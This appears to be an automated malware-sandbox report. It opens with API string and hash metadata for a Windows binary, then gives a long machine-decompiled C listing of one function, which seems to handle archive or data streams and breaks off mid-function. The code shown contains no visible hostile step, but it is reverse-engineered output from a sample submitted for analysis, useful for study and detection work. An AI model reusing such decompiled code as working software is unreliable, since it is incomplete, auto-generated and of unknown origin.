String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: c93d45f6ab12ccfc8be7b15ae8812bf4fd7e40829fe0effbe83a31a9d7762021
Instruction ID: ea4433a42688f02017ac68f8dd25db1f7bd77ae58eff3a6fbc345d1a27d7865b
Opcode Fuzzy Hash: c93d45f6ab12ccfc8be7b15ae8812bf4fd7e40829fe0effbe83a31a9d7762021
Instruction Fuzzy Hash: F1018471740311AF8722EFF99CC49AB7BE8EBA6741314847FB10DD2230DB7889418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004311FE Relevance: 8.7, APIs: 3, Strings: 1, Instructions: 1676
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E004311FE(intOrPtr __ecx, void* __edx) {
				signed int _t1032;
				signed int _t1034;
				signed int _t1037;
				signed int _t1040;
				signed int _t1041;
				intOrPtr* _t1049;
				signed int _t1050;
				signed int _t1051;
				signed int _t1058;
				signed int* _t1059;
				signed int _t1062;
				signed int _t1076;
				signed int* _t1092;
				signed int _t1093;
				signed int _t1113;
				signed int _t1114;
				signed int _t1125;
				signed int _t1127;
				intOrPtr _t1141;
				intOrPtr _t1144;
				signed int _t1149;
				signed int _t1153;
				intOrPtr _t1158;
				signed int _t1165;
				signed int _t1179;
				signed int _t1181;
				signed int _t1188;
				intOrPtr _t1193;
				signed int _t1197;
				signed int _t1206;
				void* _t1207;
				signed int _t1212;
				signed int _t1213;
				signed int _t1217;
				signed int _t1232;
				signed int _t1235;
				signed int _t1237;
				signed int _t1238;
				signed int _t1249;
				signed int* _t1254;
				signed int _t1255;
				signed int _t1268;
				signed int _t1271;
				signed int _t1272;
				signed int _t1286;
				signed int _t1287;
				signed int _t1298;
				intOrPtr _t1301;
				signed int _t1305;
				signed int _t1306;
				signed int _t1312;
				signed int _t1321;
				signed int _t1322;
				signed int _t1340;
				signed int _t1343;
				intOrPtr _t1344;
				intOrPtr _t1345;
				signed int _t1347;
				signed int _t1350;
				signed int _t1363;
				intOrPtr _t1364;
				signed int _t1367;
				signed int _t1371;
				signed int _t1372;
				intOrPtr _t1391;
				signed int _t1392;
				signed int _t1393;
				intOrPtr _t1409;
				signed int _t1414;
				signed int _t1415;
				signed int _t1417;
				void* _t1420;
				intOrPtr _t1428;
				signed int _t1429;
				signed int _t1431;
				signed int _t1434;
				intOrPtr _t1436;
				intOrPtr _t1438;
				signed int _t1441;
				void* _t1445;
				intOrPtr _t1448;
				intOrPtr _t1459;
				intOrPtr _t1543;
				intOrPtr _t1547;
				signed int _t1548;
				signed int _t1555;
				signed int _t1573;
				signed int* _t1577;
				signed int _t1589;
				intOrPtr _t1601;
				intOrPtr _t1627;
				intOrPtr _t1651;
				intOrPtr _t1657;
				signed int _t1667;
				intOrPtr* _t1694;
				signed int _t1701;
				signed int _t1706;
				signed int _t1708;
				intOrPtr* _t1709;
				signed int _t1715;
				signed int _t1719;
				signed int _t1724;
				signed int _t1728;
				intOrPtr _t1729;
				signed int _t1730;
				intOrPtr _t1733;
				intOrPtr _t1738;
				signed int* _t1740;
				intOrPtr* _t1742;
				signed int _t1745;
				signed int _t1746;
				void* _t1751;
				intOrPtr _t1757;
				intOrPtr* _t1758;
				signed int _t1759;
				intOrPtr _t1760;
				signed int _t1763;
				intOrPtr _t1764;
				signed int _t1765;
				intOrPtr* _t1767;
				signed int _t1768;
				signed int _t1769;
				signed int _t1771;
				signed int _t1774;
				signed int _t1775;
				signed int _t1776;
				intOrPtr* _t1777;
				intOrPtr _t1779;
				signed int _t1780;
				intOrPtr* _t1782;
				void* _t1785;
				void* _t1787;
				void* _t1788;
				void* _t1790;
				void* _t1824;
				void* _t1826;

				L0046B890(0x477a16, _t1785);
				_t1788 = _t1787 - 0x4c0;
				 *((intOrPtr*)(_t1785 - 0x98)) = __ecx;
				_t1448 =  *((intOrPtr*)(_t1785 + 0x1c));
				_t1445 = __edx;
				_t1032 =  *(_t1448 + 0x10);
				_t1728 =  *(_t1448 + 0x14);
				 *(_t1785 - 0x70) = _t1032;
				 *(_t1785 - 0x6c) = _t1728;
				_t1745 = 0;
				if((_t1032 | _t1728) == 0) {
					 *(_t1785 - 0x70) = 1;
					 *(_t1785 - 0x6c) = _t1745;
				}
				if(_t1445 == _t1745) {
					_t1729 = 0;
					_t1034 = 0;
					__eflags = 0;
				} else {
					_t1729 =  *((intOrPtr*)(_t1445 + 0x138));
					_t1034 =  *((intOrPtr*)(_t1445 + 0x13c));
				}
				if(_t1034 > _t1745 || _t1729 > _t1745) {
					if( *((char*)(_t1448 + 0x21)) != 0) {
						goto L9;
					}
					_push(_t1745);
					_push(_t1034);
					_push(_t1729);
					_push(_t1745);
					_push(_t1745);
					_t1076 = E00432A5E( *((intOrPtr*)(_t1785 - 0x98)),  *(_t1785 + 0x14));
					if(_t1076 != _t1745) {
						goto L286;
					}
					goto L9;
				} else {
					L9:
					E00404AD0(_t1785 - 0xd4, 4);
					 *((intOrPtr*)(_t1785 - 0xd4)) = 0x47a668;
					 *(_t1785 - 4) = _t1745;
					E00404AD0(_t1785 - 0xb4, 0xc);
					 *((intOrPtr*)(_t1785 - 0xb4)) = 0x47b41c;
					 *(_t1785 - 0x26) =  *(_t1785 - 0x26) & 0x00000000;
					_t1757 =  *((intOrPtr*)(_t1785 + 8));
					 *(_t1785 - 4) = 1;
					 *(_t1785 - 0x54) = _t1745;
					 *(_t1785 - 0x50) = _t1745;
					 *(_t1785 - 0x78) = _t1745;
					 *(_t1785 - 0x74) = _t1745;
					if(_t1445 == _t1745) {
						L43:
						_t1730 =  *(_t1757 + 8);
						 *(_t1785 - 0x34) = _t1745;
						 *(_t1785 - 0x30) = _t1745;
						 *(_t1785 - 0x10) = _t1745;
						if(_t1730 <= _t1745) {
							L55:
							_t1037 =  *(_t1785 - 0x74);
							_t1824 = _t1037 -  *(_t1785 - 0x30);
							if(_t1824 >= 0 && (_t1824 > 0 ||  *(_t1785 - 0x78) >  *(_t1785 - 0x34))) {
								 *(_t1785 - 0x30) = _t1037;
								 *(_t1785 - 0x34) =  *(_t1785 - 0x78);
							}
							_t1826 =  *(_t1785 - 0x30) - _t1745;
							if(_t1826 <= 0 && (_t1826 < 0 ||  *(_t1785 - 0x34) < 0x10000)) {
								 *(_t1785 - 0x34) = 0x10000;
								 *(_t1785 - 0x30) = _t1745;
							}
							_t1758 =  *((intOrPtr*)(_t1785 + 0x18));
							_t1040 =  *((intOrPtr*)( *_t1758 + 0xc))(_t1758,  *(_t1785 - 0x54),  *(_t1785 - 0x50));
							if(_t1040 == _t1745) {
								_push(0x38);
								_t1041 = L004079F2();
								 *(_t1785 - 0x68) = _t1041;
								__eflags = _t1041 - _t1745;
								 *(_t1785 - 4) = 2;
								if(_t1041 == _t1745) {
									_t1746 = 0;
									__eflags = 0;
								} else {
									_t1746 = L0040F3E5(_t1041);
								}
								__eflags = _t1746;
								 *(_t1785 - 0x68) = _t1746;
								 *(_t1785 - 4) = 1;
								 *(_t1785 - 0x74) = _t1746;
								if(_t1746 != 0) {
									 *((intOrPtr*)( *_t1746 + 4))(_t1746);
								}
								_push(1);
								 *(_t1785 - 4) = 3;
								L0040F478(_t1746, _t1758);
								L0043333A(_t1785 - 0x2cc, __eflags);
								__eflags =  *(_t1785 - 0xac);
								 *(_t1785 - 4) = 4;
								if( *(_t1785 - 0xac) == 0) {
									L72:
									E00405B9F(_t1785 - 0x4c);
									 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
									 *(_t1785 - 4) = 5;
									_t1759 = 4;
									do {
										L004335AA(_t1785 - 0xe8);
										_push(_t1785 - 0xe8);
										 *(_t1785 - 4) = 6;
										L004336E2(_t1785 - 0x4c);
										 *(_t1785 - 4) = 5;
										E00408604(_t1785 - 0xe8);
										_t1759 = _t1759 - 1;
										__eflags = _t1759;
									} while (_t1759 != 0);
									_t1049 =  *((intOrPtr*)(_t1785 + 0x1c));
									_t1760 =  *_t1049;
									 *(_t1785 - 0x11) =  *((intOrPtr*)(_t1049 + 8));
									__eflags =  *((intOrPtr*)(_t1760 + 8)) - 1;
									if( *((intOrPtr*)(_t1760 + 8)) != 1) {
										L76:
										_t175 = _t1785 - 0x11;
										 *_t175 =  *(_t1785 - 0x11) & 0x00000000;
										__eflags =  *_t175;
										L77:
										_t1459 =  *((intOrPtr*)(_t1785 + 8));
										 *(_t1785 - 0x10) =  *(_t1785 - 0x10) & 0x00000000;
										__eflags =  *(_t1459 + 8);
										if( *(_t1459 + 8) <= 0) {
											L94:
											 *(_t1785 - 0xa0) =  *(_t1785 - 0xa0) & 0x00000000;
											__eflags =  *(_t1785 - 0x26);
											if(__eflags == 0) {
												L109:
												_push(0);
												_t1050 = L0042F495( *((intOrPtr*)(_t1785 + 0xc)), __eflags,  *(_t1785 + 0x14));
												__eflags = _t1050;
												 *(_t1785 + 0x14) = _t1050;
												if(_t1050 == 0) {
													_t1051 = L0042F522( *((intOrPtr*)(_t1785 + 0xc)));
													__eflags = _t1051;
													 *(_t1785 + 0x14) = _t1051;
													if(_t1051 == 0) {
														 *((intOrPtr*)(_t1746 + 0x18)) = 0;
														 *(_t1785 - 0x24) = 0;
														 *((intOrPtr*)(_t1746 + 0x1c)) = 0;
														 *(_t1785 - 0x2c) = 0;
														do {
															_t1762 =  *(_t1785 - 0x2c);
															 *((intOrPtr*)(_t1785 - 0x58)) =  *((intOrPtr*)( *((intOrPtr*)(_t1785 - 0x40)) +  *(_t1785 - 0x2c) * 4));
															E00428499(_t1785 - 0x1b4);
															 *(_t1785 - 4) = 0xe;
															__eflags = L0043351E( *(_t1785 - 0x2c));
															if(__eflags == 0) {
																E00428562(_t1785 - 0x1b4,  *((intOrPtr*)( *((intOrPtr*)(_t1785 + 0x1c)))));
															} else {
																_push(_t1785 - 0x1b4);
																_t1730 =  *((intOrPtr*)( *((intOrPtr*)(_t1785 + 0x1c)) + 9));
																E00433001( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 0x1c)))), _t1730, __eflags);
															}
															_t1058 = L00433524(_t1762);
															__eflags = _t1058;
															if(_t1058 == 0) {
																_t1059 =  *(_t1785 - 0x184);
																 *(_t1785 - 0x188) =  *(_t1785 - 0x188) & 0x00000000;
																 *(_t1785 - 0x180) =  *(_t1785 - 0x180) & 0x00000000;
																 *_t1059 =  *_t1059 & 0x00000000;
																__eflags =  *_t1059;
															} else {
																__eflags =  *(_t1785 - 0x188);
																if(__eflags == 0) {
																	_t1372 =  *(_t1785 - 0xa0);
																	__eflags = _t1372;
																	if(__eflags != 0) {
																		__eflags = _t1372 + 8;
																		E00401E26(_t1785 - 0x184, _t1372 + 8);
																	}
																	 *(_t1785 - 0x188) = 1;
																}
															}
															_push(_t1785 - 0x1b4);
															E004283DB(_t1785 - 0x4cc, __eflags);
															_t1062 =  *(_t1785 - 0x24);
															 *(_t1785 - 4) = 0xf;
															__eflags = _t1062 -  *(_t1785 - 0xac);
															if(_t1062 >=  *(_t1785 - 0xac)) {
																L168:
																_t1763 =  *( *((intOrPtr*)(_t1785 - 0x58)) + 8);
																__eflags = _t1763;
																 *(_t1785 - 0x20) = _t1763;
																if(_t1763 == 0) {
																	goto L225;
																}
																E00404AD0(_t1785 - 0x138, 0x14);
																 *((intOrPtr*)(_t1785 - 0x138)) = 0x47b3fc;
																 *(_t1785 - 4) = 0x1c;
																E0040867E(_t1785 - 0x138, _t1763);
																__eflags =  *(_t1785 - 0x6c);
																if( *(_t1785 - 0x6c) > 0) {
																	L171:
																	 *(_t1785 - 0x9c) = 1;
																	L173:
																	 *(_t1785 - 0x10) =  *(_t1785 - 0x10) & 0x00000000;
																	__eflags = _t1763;
																	if(_t1763 <= 0) {
																		L176:
																		L0043375E(_t1785 - 0x138, _t1730, E00432EB7, _t1785 - 0x9c);
																		E00404AD0(_t1785 - 0xfc, 4);
																		 *((intOrPtr*)(_t1785 - 0xfc)) = 0x47ab80;
																		 *(_t1785 - 4) = 0x1d;
																		E0040867E(_t1785 - 0xfc, _t1763);
																		__eflags = _t1763;
																		if(_t1763 <= 0) {
																			L179:
																			 *(_t1785 - 0x10) =  *(_t1785 - 0x10) & 0x00000000;
																			__eflags = _t1763;
																			if(_t1763 <= 0) {
																				L224:
																				 *(_t1785 - 4) = 0x1c;
																				E00408604(_t1785 - 0xfc);
																				 *(_t1785 - 4) = 0xf;
																				E00408604(_t1785 - 0x138);
																				goto L225;
																			}
																			while(1) {
																				 *(_t1785 - 0x94) = 0;
																				 *(_t1785 - 0x90) = 0;
																				 *(_t1785 - 0xc0) = 0;
																				 *((intOrPtr*)(_t1785 - 0xbc)) = 0;
																				 *((intOrPtr*)(_t1785 - 0xb8)) = 0;
																				E00401E9A(_t1785 - 0xc0, 3);
																				 *(_t1785 + 0x14) =  *(_t1785 + 0x14) & 0x00000000;
																				__eflags =  *(_t1785 - 0x10) - _t1763;
																				 *(_t1785 - 4) = 0x1e;
																				if( *(_t1785 - 0x10) >= _t1763) {
																					goto L198;
																				}
																				while(1) {
																					L183:
																					_t1555 =  *(_t1785 + 0x14);
																					_t1188 = _t1555;
																					asm("cdq");
																					__eflags = _t1730 -  *(_t1785 - 0x6c);
																					if(__eflags > 0) {
																						break;
																					}
																					if(__eflags < 0) {
																						L186:
																						_t1559 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) +  *( *((intOrPtr*)(_t1785 - 0xf0)) + (_t1555 +  *(_t1785 - 0x10)) * 4) * 4));
																						 *(_t1785 - 0x94) =  *(_t1785 - 0x94) +  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) +  *( *((intOrPtr*)(_t1785 - 0xf0)) + (_t1555 +  *(_t1785 - 0x10)) * 4) * 4)) + 0x20));
																						_t1193 =  *((intOrPtr*)(_t1785 + 0x1c));
																						asm("adc [ebp-0x90], edx");
																						_t1730 =  *(_t1785 - 0x90);
																						__eflags = _t1730 -  *((intOrPtr*)(_t1193 + 0x1c));
																						if(__eflags > 0) {
																							break;
																						}
																						if(__eflags < 0) {
																							L189:
																							__eflags =  *((char*)(_t1193 + 0x20));
																							if( *((char*)(_t1193 + 0x20)) == 0) {
																								L194:
																								 *(_t1785 + 0x14) =  *(_t1785 + 0x14) + 1;
																								__eflags =  *(_t1785 + 0x14) +  *(_t1785 - 0x10) -  *(_t1785 - 0x20);
																								if( *(_t1785 + 0x14) +  *(_t1785 - 0x10) <  *(_t1785 - 0x20)) {
																									continue;
																								}
																								break;
																							}
																							E00430E91(_t1559, _t1785 - 0x84);
																							__eflags =  *(_t1785 + 0x14);
																							 *(_t1785 - 4) = 0x1f;
																							if( *(_t1785 + 0x14) != 0) {
																								_t1730 =  *(_t1785 - 0xc0);
																								_t1197 = E0040807A(_t1730);
																								__eflags = _t1197;
																								if(_t1197 != 0) {
																									 *(_t1785 - 4) = 0x1e;
																									L00407A18( *(_t1785 - 0x84));
																									break;
																								}
																								L193:
																								 *(_t1785 - 4) = 0x1e;
																								L00407A18( *(_t1785 - 0x84));
																								goto L194;
																							}
																							E00401E26(_t1785 - 0xc0, _t1785 - 0x84);
																							goto L193;
																						}
																						_t1730 =  *(_t1785 - 0x94);
																						__eflags = _t1730 -  *((intOrPtr*)(_t1193 + 0x18));
																						if(_t1730 >  *((intOrPtr*)(_t1193 + 0x18))) {
																							break;
																						}
																						goto L189;
																					}
																					__eflags = _t1188 -  *(_t1785 - 0x70);
																					if(_t1188 >=  *(_t1785 - 0x70)) {
																						break;
																					}
																					goto L186;
																				}
																				__eflags =  *(_t1785 + 0x14) - 1;
																				if( *(_t1785 + 0x14) >= 1) {
																					L199:
																					_push(0x78);
																					_t1113 = L004079F2();
																					 *(_t1785 - 0x18) = _t1113;
																					__eflags = _t1113;
																					 *(_t1785 - 4) = 0x20;
																					if(_t1113 == 0) {
																						_t1114 = 0;
																						__eflags = 0;
																					} else {
																						_t1114 = E00429B31(_t1113);
																					}
																					__eflags = _t1114;
																					 *(_t1785 - 0x1c) = _t1114;
																					 *(_t1785 - 4) = 0x1e;
																					 *(_t1785 - 0x50) = _t1114;
																					if(_t1114 != 0) {
																						 *((intOrPtr*)( *_t1114 + 4))(_t1114);
																					}
																					_push( *(_t1785 + 0x14));
																					 *(_t1785 - 4) = 0x21;
																					E00429C75( *(_t1785 - 0x1c),  *((intOrPtr*)(_t1785 + 0x18)), ( *(_t1785 - 0x10) << 2) +  *((intOrPtr*)(_t1785 - 0xf0)));
																					E0042DB56(_t1785 - 0x3a4);
																					_push(_t1746);
																					_push( *((intOrPtr*)(_t1785 + 0x10)));
																					_t1768 =  *( *((intOrPtr*)(_t1785 + 0x10)) + 8);
																					 *(_t1785 - 4) = 0x22;
																					_push( *( *((intOrPtr*)(_t1785 + 0xc)) + 0x50));
																					_push(_t1785 - 0x3a4);
																					_push(_t1785 - 0x34);
																					_push(0);
																					_push( *(_t1785 - 0x1c));
																					_t1125 = L004279E7(_t1785 - 0x4cc, _t1730, __eflags);
																					__eflags = _t1125;
																					 *(_t1785 - 0x18) = _t1125;
																					if(__eflags != 0) {
																						 *(_t1785 - 4) = 0x21;
																						L0042B864(_t1785 - 0x3a4, __eflags);
																						_t1127 =  *(_t1785 - 0x1c);
																						 *(_t1785 - 4) = 0x1e;
																						__eflags = _t1127;
																						if(_t1127 != 0) {
																							 *((intOrPtr*)( *_t1127 + 8))(_t1127);
																						}
																						L00407A18( *(_t1785 - 0xc0));
																						 *(_t1785 - 4) = 0x1c;
																						E00408604(_t1785 - 0xfc);
																						 *(_t1785 - 4) = 0xf;
																						E00408604(_t1785 - 0x138);
																						 *(_t1785 - 4) = 0xe;
																						E00428A47(_t1785 - 0x4cc);
																						 *(_t1785 - 4) = 5;
																						E00428510(_t1785 - 0x1b4, __eflags);
																						 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																						 *(_t1785 - 4) = 0x23;
																						E0040862D();
																						 *(_t1785 - 4) = 4;
																						E00408604(_t1785 - 0x4c);
																						 *(_t1785 - 4) = 3;
																						L0043353F(_t1785 - 0x2cc, __eflags);
																						__eflags = _t1746;
																						 *(_t1785 - 4) = 1;
																						if(_t1746 != 0) {
																							 *((intOrPtr*)( *_t1746 + 8))(_t1746);
																						}
																						 *(_t1785 - 4) =  *(_t1785 - 4) & 0x00000000;
																						E00408604(_t1785 - 0xb4);
																						 *(_t1785 - 4) =  *(_t1785 - 4) | 0xffffffff;
																						E00408604(_t1785 - 0xd4);
																						_t1076 =  *(_t1785 - 0x18);
																					} else {
																						_t1141 =  *((intOrPtr*)(_t1785 + 0x10));
																						while(1) {
																							__eflags = _t1768 -  *((intOrPtr*)(_t1141 + 8));
																							if(_t1768 >=  *((intOrPtr*)(_t1141 + 8))) {
																								break;
																							}
																							_t1730 =  *( *((intOrPtr*)(_t1141 + 0xc)) + _t1768 * 8);
																							 *((intOrPtr*)(_t1746 + 0x28)) =  *((intOrPtr*)(_t1746 + 0x28)) + _t1730;
																							asm("adc [edi+0x2c], ecx");
																							_t1768 = _t1768 + 1;
																						}
																						 *((intOrPtr*)(_t1746 + 0x20)) =  *((intOrPtr*)(_t1746 + 0x20)) + E00429826(_t1785 - 0x3a4);
																						_push(_t1785 - 0x3a4);
																						_t1144 =  *((intOrPtr*)(_t1785 + 0x10));
																						asm("adc [edi+0x24], edx");
																						_t693 = _t1144 + 0x3c; // 0x3c
																						E0042F063(_t693);
																						_t1769 = 0;
																						__eflags =  *(_t1785 + 0x14);
																						 *(_t1785 - 0x18) = 0;
																						if(__eflags <= 0) {
																							L221:
																							_t750 =  *((intOrPtr*)(_t1785 + 0x10)) + 0x50; // 0x50
																							E00415C6D(_t750,  *(_t1785 - 0x18));
																							_t1771 =  *(_t1785 - 0x10) +  *(_t1785 + 0x14);
																							 *(_t1785 - 4) = 0x21;
																							 *(_t1785 - 0x10) = _t1771;
																							L0042B864(_t1785 - 0x3a4, __eflags);
																							_t1149 =  *(_t1785 - 0x1c);
																							 *(_t1785 - 4) = 0x1e;
																							__eflags = _t1149;
																							if(_t1149 != 0) {
																								 *((intOrPtr*)( *_t1149 + 8))(_t1149);
																							}
																							 *(_t1785 - 4) = 0x1d;
																							L00407A18( *(_t1785 - 0xc0));
																							__eflags = _t1771 -  *(_t1785 - 0x20);
																							if(_t1771 <  *(_t1785 - 0x20)) {
																								_t1763 =  *(_t1785 - 0x20);
																								 *(_t1785 - 0x94) = 0;
																								 *(_t1785 - 0x90) = 0;
																								 *(_t1785 - 0xc0) = 0;
																								 *((intOrPtr*)(_t1785 - 0xbc)) = 0;
																								 *((intOrPtr*)(_t1785 - 0xb8)) = 0;
																								E00401E9A(_t1785 - 0xc0, 3);
																								 *(_t1785 + 0x14) =  *(_t1785 + 0x14) & 0x00000000;
																								__eflags =  *(_t1785 - 0x10) - _t1763;
																								 *(_t1785 - 4) = 0x1e;
																								if( *(_t1785 - 0x10) >= _t1763) {
																									goto L198;
																								}
																								goto L183;
																							} else {
																								goto L224;
																							}
																						}
																						_t1153 =  *(_t1785 - 0x10) << 2;
																						__eflags = _t1153;
																						 *(_t1785 - 0x38) = _t1153;
																						while(1) {
																							 *((intOrPtr*)(_t1785 - 0x58)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) +  *( *(_t1785 - 0x38) +  *((intOrPtr*)(_t1785 - 0xf0))) * 4));
																							E0042EAC2(_t1785 - 0x124);
																							_t1158 =  *((intOrPtr*)(_t1785 - 0x58));
																							 *(_t1785 - 4) = 0x24;
																							__eflags =  *((char*)(_t1158 + 0x39));
																							_push(_t1785 - 0x2f4);
																							if( *((char*)(_t1158 + 0x39)) == 0) {
																								_push(_t1785 - 0x124);
																								_push( *((intOrPtr*)( *((intOrPtr*)(_t1785 - 0x58)))));
																								E004308F5(_t1445);
																							} else {
																								_t1730 = _t1785 - 0x124;
																								E0043327A( *((intOrPtr*)(_t1785 - 0x58)), _t1730);
																							}
																							__eflags =  *((char*)(_t1785 - 0x2d0));
																							if(__eflags != 0) {
																								break;
																							}
																							__eflags =  *((char*)(_t1785 - 0x107));
																							if(__eflags != 0) {
																								break;
																							}
																							_t1179 =  *(_t1785 - 0x1c);
																							_t1543 =  *((intOrPtr*)(_t1179 + 0x48));
																							__eflags =  *((char*)(_t1543 + _t1769));
																							if( *((char*)(_t1543 + _t1769)) != 0) {
																								 *((intOrPtr*)(_t1785 - 0x118)) =  *((intOrPtr*)( *((intOrPtr*)(_t1179 + 0x5c)) + _t1769 * 4));
																								_t1547 =  *((intOrPtr*)(_t1179 + 0x70));
																								_t1181 =  *(_t1547 + _t1769 * 8);
																								 *(_t1785 - 0x124) = _t1181;
																								_t1548 =  *(_t1547 + 4 + _t1769 * 8);
																								__eflags = _t1181 | _t1548;
																								 *(_t1785 - 0x120) = _t1548;
																								if((_t1181 | _t1548) == 0) {
																									 *(_t1785 - 0x106) =  *(_t1785 - 0x106) & 0x00000000;
																									_t738 = _t1785 - 0x108;
																									 *_t738 =  *(_t1785 - 0x108) & 0x00000000;
																									__eflags =  *_t738;
																								} else {
																									 *(_t1785 - 0x18) =  *(_t1785 - 0x18) + 1;
																									 *(_t1785 - 0x106) = 1;
																									 *(_t1785 - 0x108) = 1;
																								}
																								_push(_t1785 - 0x2f4);
																								_push(_t1785 - 0x124);
																								E00430A4F( *((intOrPtr*)(_t1785 + 0x10)));
																							}
																							 *(_t1785 - 4) = 0x22;
																							L00407A18( *((intOrPtr*)(_t1785 - 0x114)));
																							 *(_t1785 - 0x38) =  *(_t1785 - 0x38) + 4;
																							_t1769 = _t1769 + 1;
																							__eflags = _t1769 -  *(_t1785 + 0x14);
																							if(__eflags < 0) {
																								continue;
																							} else {
																								goto L221;
																							}
																						}
																						L00407A18( *((intOrPtr*)(_t1785 - 0x114)));
																						 *(_t1785 - 4) = 0x21;
																						L0042B864(_t1785 - 0x3a4, __eflags);
																						_t1165 =  *(_t1785 - 0x1c);
																						 *(_t1785 - 4) = 0x1e;
																						__eflags = _t1165;
																						if(_t1165 != 0) {
																							 *((intOrPtr*)( *_t1165 + 8))(_t1165);
																						}
																						L00407A18( *(_t1785 - 0xc0));
																						 *(_t1785 - 4) = 0x1c;
																						E00408604(_t1785 - 0xfc);
																						 *(_t1785 - 4) = 0xf;
																						E00408604(_t1785 - 0x138);
																						 *(_t1785 - 4) = 0xe;
																						E00428A47(_t1785 - 0x4cc);
																						 *(_t1785 - 4) = 5;
																						E00428510(_t1785 - 0x1b4, __eflags);
																						 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																						 *(_t1785 - 4) = 0x25;
																						E0040862D();
																						 *(_t1785 - 4) = 4;
																						E00408604(_t1785 - 0x4c);
																						 *(_t1785 - 4) = 3;
																						L0043353F(_t1785 - 0x2cc, __eflags);
																						__eflags = _t1746;
																						 *(_t1785 - 4) = 1;
																						if(_t1746 != 0) {
																							 *((intOrPtr*)( *_t1746 + 8))(_t1746);
																						}
																						 *(_t1785 - 4) =  *(_t1785 - 4) & 0x00000000;
																						E00408604(_t1785 - 0xb4);
																						 *(_t1785 - 4) =  *(_t1785 - 4) | 0xffffffff;
																						E00408604(_t1785 - 0xd4);
																						_t1076 = 0x80004005;
																					}
																					goto L286;
																				}
																				L198:
																				 *(_t1785 + 0x14) = 1;
																				goto L199;
																			}
																		}
																		_t590 = _t1785 + 0x14;
																		 *_t590 =  *(_t1785 + 0x14) & 0x00000000;
																		__eflags =  *_t590;
																		 *(_t1785 - 0x18) = _t1763;
																		do {
																			E00415C6D(_t1785 - 0xfc,  *((intOrPtr*)( *(_t1785 + 0x14) +  *((intOrPtr*)(_t1785 - 0x12c)) + 4)));
																			 *(_t1785 + 0x14) =  *(_t1785 + 0x14) + 0x14;
																			_t600 = _t1785 - 0x18;
																			 *_t600 =  *(_t1785 - 0x18) - 1;
																			__eflags =  *_t600;
																		} while ( *_t600 != 0);
																		goto L179;
																	} else {
																		goto L174;
																	}
																	do {
																		L174:
																		_push( *(_t1785 - 0x9c));
																		_t1206 =  *( *((intOrPtr*)( *((intOrPtr*)(_t1785 - 0x58)) + 0xc)) +  *(_t1785 - 0x10) * 4);
																		_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1785 + 8)) + 0xc)) + _t1206 * 4)));
																		_push(_t1206);
																		_t1207 = E00432D91(_t1785 - 0x3b8);
																		_t1790 = _t1788 - 0x14;
																		_t1573 = 5;
																		memcpy(_t1790, _t1207, _t1573 << 2);
																		_t1788 = _t1790 + 0xc;
																		L00433730(_t1785 - 0x138);
																		 *(_t1785 - 0x10) =  *(_t1785 - 0x10) + 1;
																		__eflags =  *(_t1785 - 0x10) -  *(_t1785 - 0x20);
																	} while ( *(_t1785 - 0x10) <  *(_t1785 - 0x20));
																	_t1746 =  *(_t1785 - 0x68);
																	_t1763 =  *(_t1785 - 0x20);
																	goto L176;
																}
																__eflags =  *(_t1785 - 0x70) - 1;
																if( *(_t1785 - 0x70) <= 1) {
																	_t561 = _t1785 - 0x9c;
																	 *_t561 =  *(_t1785 - 0x9c) & 0x00000000;
																	__eflags =  *_t561;
																	goto L173;
																}
																goto L171;
															} else {
																_t1212 = _t1062 + _t1062 * 2 << 2;
																 *(_t1785 - 0x1c) = _t1212;
																while(1) {
																	_t1213 = _t1212 +  *((intOrPtr*)(_t1785 - 0xa8));
																	 *(_t1785 - 0x38) = _t1213;
																	__eflags =  *((intOrPtr*)(_t1213 + 4)) -  *(_t1785 - 0x2c);
																	if( *((intOrPtr*)(_t1213 + 4)) !=  *(_t1785 - 0x2c)) {
																		goto L168;
																	}
																	_t1577 =  *(_t1785 - 0x38);
																	_t1733 =  *((intOrPtr*)(_t1445 + 0x5c));
																	_t1215 =  *_t1577;
																	_t1774 =  *_t1577 << 2;
																	__eflags = _t1577[2] -  *((intOrPtr*)(_t1774 + _t1733));
																	if(_t1577[2] !=  *((intOrPtr*)(_t1774 + _t1733))) {
																		E004329C5(_t1785 - 0x1d4);
																		 *(_t1785 - 4) = 0x11;
																		_t1217 = L0040F595(_t1785 - 0x1d4);
																		__eflags = _t1217;
																		 *(_t1785 + 0x14) = _t1217;
																		if(_t1217 != 0) {
																			 *(_t1785 - 4) = 0xf;
																			L00423D3B(_t1785 - 0x1d4);
																			 *(_t1785 - 4) = 0xe;
																			E00428A47(_t1785 - 0x4cc);
																			 *(_t1785 - 4) = 5;
																			E00428510(_t1785 - 0x1b4, __eflags);
																			 *((intOrPtr*)(_t1785 - 0x4c)) = 0x47b414;
																			 *(_t1785 - 4) = 0x12;
																			E0040862D();
																			 *(_t1785 - 4) = 4;
																			E00408604(_t1785 - 0x4c);
																			 *(_t1785 - 4) = 3;
																			L0043353F(_t1785 - 0x2cc, __eflags);
																			__eflags = _t1746;
																			 *(_t1785 - 4) = 1;
																			if(_t1746 != 0) {
																				 *((intOrPtr*)( *_t1746 + 8))(_t1746);
																			}
																			_t1765 =  *(_t1785 + 0x14);
																			goto L285;
																		}
																		 *(_t1785 + 0x20) =  *(_t1785 + 0x20) & _t1217;
																		 *(_t1785 - 0x64) =  *(_t1785 - 0x64) & _t1217;
																		_push(_t1785 + 0x20);
																		_push(_t1785 - 0x64);
																		 *(_t1785 - 4) = 0x14;
																		L0040F5DB(_t1785 - 0x1d4);
																		E00404AD0(_t1785 - 0xe8, 1);
																		 *((intOrPtr*)(_t1785 - 0xe8)) = 0x47ab08;
																		 *(_t1785 - 0x20) =  *(_t1785 - 0x20) & 0x00000000;
																		 *(_t1785 - 4) = 0x15;
																		_t1589 =  *(_t1774 +  *((intOrPtr*)(_t1445 + 0x5c)));
																		__eflags = _t1589;
